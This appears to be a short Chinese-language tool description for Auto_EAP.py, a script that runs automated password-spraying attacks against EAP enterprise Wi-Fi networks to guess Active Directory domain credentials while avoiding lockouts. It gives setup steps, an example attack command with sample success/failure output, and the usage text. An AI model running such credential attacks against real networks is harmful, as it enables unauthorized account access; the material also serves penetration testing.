######发布于2016年9月15日
Auto_EAP.py 是一个脚本,旨在对各种类型的 EAP 网络执行自动化暴力认证攻击。此类无线网络提供了一个接口,便于对域凭据进行密码猜测,因为 Radius 服务器会对照 Active Directory 检查认证。利用 [Jouni Malinen [email protected]] (https://github.com/jmalinen/hostap/tree/master/wpaspy) 创建的 Python 库 wpaspy 与 wpa_supplicant 守护进程交互,可以执行自动化的认证攻击,目的是不造成账户锁定。
./Auto_EAP.py -s HoneyPot -K WPA-EAP -E PEAP -U test.txt -p Summer2016 -i wlan0
Initialized...
Trying Username Alice with Password test: SUCCESS
Trying Username Bob with Password test: FAILED
Trying Username Charles with Password test: FAILED
Trying Username David with Password test: SUCCESS
Completed
在 Auto_EAP 的根目录下运行 'RunMeFirst.py'。这将编译 wpaspy 库,并设置一个独立的 wpa_supplicant.conf 文件,Auto_EAP.py 将使用该文件进行测试,同时不会影响系统的 wpa_supplicant 配置文件。
./Auto_EAP.py -h
usage: Auto_EAP.py [-h] -i Interface -s SSID -U Usernamefile -p Password -K
Key_mgmt -E Eap_type
optional arguments:
-h, --help show this help message and exit
-i Interface, --interface Interface
The Interface to use
-s SSID, --ssid SSID The SSID to attack
-U Usernamefile, --User Usernamefile
Path to username file
-p Password, --password Password
Password to use
-K Key_mgmt, --key_mgmt Key_mgmt
Key_Management type to use
-E Eap_type, --eap_type Eap_type
Eap type to use